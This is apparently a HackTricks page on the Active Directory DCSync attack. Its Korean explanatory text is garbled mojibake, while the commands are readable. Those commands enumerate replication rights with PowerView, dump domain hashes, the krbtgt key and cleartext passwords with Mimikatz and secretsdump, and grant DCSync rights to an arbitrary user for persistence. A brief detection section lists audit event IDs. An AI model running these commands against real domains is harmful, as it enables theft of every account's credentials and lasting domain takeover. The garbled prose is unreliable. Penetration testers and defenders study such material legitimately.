DCSync
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
DCSync
DCSync ๊ถํ์ ๋๋ฉ์ธ ์์ฒด์ ๋ํด ๋ค์ ๊ถํ์ ๊ฐ์ง๋ ๊ฒ์ ์๋ฏธํฉ๋๋ค: DS-Replication-Get-Changes, Replicating Directory Changes All ๋ฐ Replicating Directory Changes In Filtered Set.
DCSync์ ๋ํ ์ค์ ์ฌํญ:
- DCSync ๊ณต๊ฒฉ์ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ๋์์ ์๋ฎฌ๋ ์ด์ ํ๊ณ ๋ค๋ฅธ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ์ ์ ๋ณด๋ฅผ ๋ณต์ ํ๋๋ก ์์ฒญํฉ๋๋ค. ์ด๋ ๋๋ ํฐ๋ฆฌ ๋ณต์ ์๋น์ค ์๊ฒฉ ํ๋กํ ์ฝ(MS-DRSR)์ ์ฌ์ฉํฉ๋๋ค. MS-DRSR์ Active Directory์ ์ ํจํ๊ณ ํ์ํ ๊ธฐ๋ฅ์ด๊ธฐ ๋๋ฌธ์ ๋๊ฑฐ๋ ๋นํ์ฑํํ ์ ์์ต๋๋ค.
- ๊ธฐ๋ณธ์ ์ผ๋ก Domain Admins, Enterprise Admins, Administrators, ๋ฐ Domain Controllers ๊ทธ๋ฃน๋ง์ด ํ์ํ ๊ถํ์ ๊ฐ์ง๊ณ ์์ต๋๋ค.
- reversible encryption์ผ๋ก ์ ์ฅ๋ ๊ณ์ ๋น๋ฐ๋ฒํธ๊ฐ ์๋ ๊ฒฝ์ฐ, Mimikatz์์ ๋น๋ฐ๋ฒํธ๋ฅผ ํ๋ฌธ์ผ๋ก ๋ฐํํ๋ ์ต์ ์ด ์ ๊ณต๋ฉ๋๋ค.
Enumeration
powerview๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฌํ ๊ถํ์ ๊ฐ์ง ์ฌ์ฉ์๋ฅผ ํ์ธํ์ญ์์ค:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
๋ก์ปฌ์์ ์ ์ฉํ๊ธฐ
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
์๊ฒฉ์ผ๋ก ์ ์ฉํ๊ธฐ
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc๋ 3๊ฐ์ ํ์ผ์ ์์ฑํฉ๋๋ค:
- ํ๋๋ NTLM ํด์
- ํ๋๋ Kerberos ํค
- ํ๋๋ NTDS์์ ๊ฐ์ญ ์ํธํ๊ฐ ํ์ฑํ๋ ๋ชจ๋ ๊ณ์ ์ ํ๋ฌธ ๋น๋ฐ๋ฒํธ์ ๋๋ค. ๊ฐ์ญ ์ํธํ๊ฐ ํ์ฑํ๋ ์ฌ์ฉ์๋ฅผ ์ป์ผ๋ ค๋ฉด
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
์ง์์ฑ
๋๋ฉ์ธ ๊ด๋ฆฌ์๋ผ๋ฉด powerview์ ๋์์ผ๋ก ์ด ๊ถํ์ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ๋ถ์ฌํ ์ ์์ต๋๋ค:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
๊ทธ๋ฐ ๋ค์, (๋น์ ์ โObjectTypeโ ํ๋ ์์์ ๊ถํ์ ์ด๋ฆ์ ๋ณผ ์ ์์ด์ผ ํจ) ์ถ๋ ฅ์์ 3๊ฐ์ ๊ถํ์ด ์ฌ์ฉ์์๊ฒ ์ฌ๋ฐ๋ฅด๊ฒ ํ ๋น๋์๋์ง ํ์ธํ ์ ์์ต๋๋ค:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
์ํ
- ๋ณด์ ์ด๋ฒคํธ ID 4662 (๊ฐ์ฒด์ ๋ํ ๊ฐ์ฌ ์ ์ฑ ์ด ํ์ฑํ๋์ด์ผ ํจ) โ ๊ฐ์ฒด์ ๋ํ ์์ ์ด ์ํ๋์์ต๋๋ค.
- ๋ณด์ ์ด๋ฒคํธ ID 5136 (๊ฐ์ฒด์ ๋ํ ๊ฐ์ฌ ์ ์ฑ ์ด ํ์ฑํ๋์ด์ผ ํจ) โ ๋๋ ํฐ๋ฆฌ ์๋น์ค ๊ฐ์ฒด๊ฐ ์์ ๋์์ต๋๋ค.
- ๋ณด์ ์ด๋ฒคํธ ID 4670 (๊ฐ์ฒด์ ๋ํ ๊ฐ์ฌ ์ ์ฑ ์ด ํ์ฑํ๋์ด์ผ ํจ) โ ๊ฐ์ฒด์ ๋ํ ๊ถํ์ด ๋ณ๊ฒฝ๋์์ต๋๋ค.
- AD ACL ์ค์บ๋ - ACL์ ์์ฑ ๋ฐ ๋น๊ต ๋ณด๊ณ ์๋ฅผ ์์ฑํฉ๋๋ค. https://github.com/canix1/ADACLScanner
์ฐธ์กฐ
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


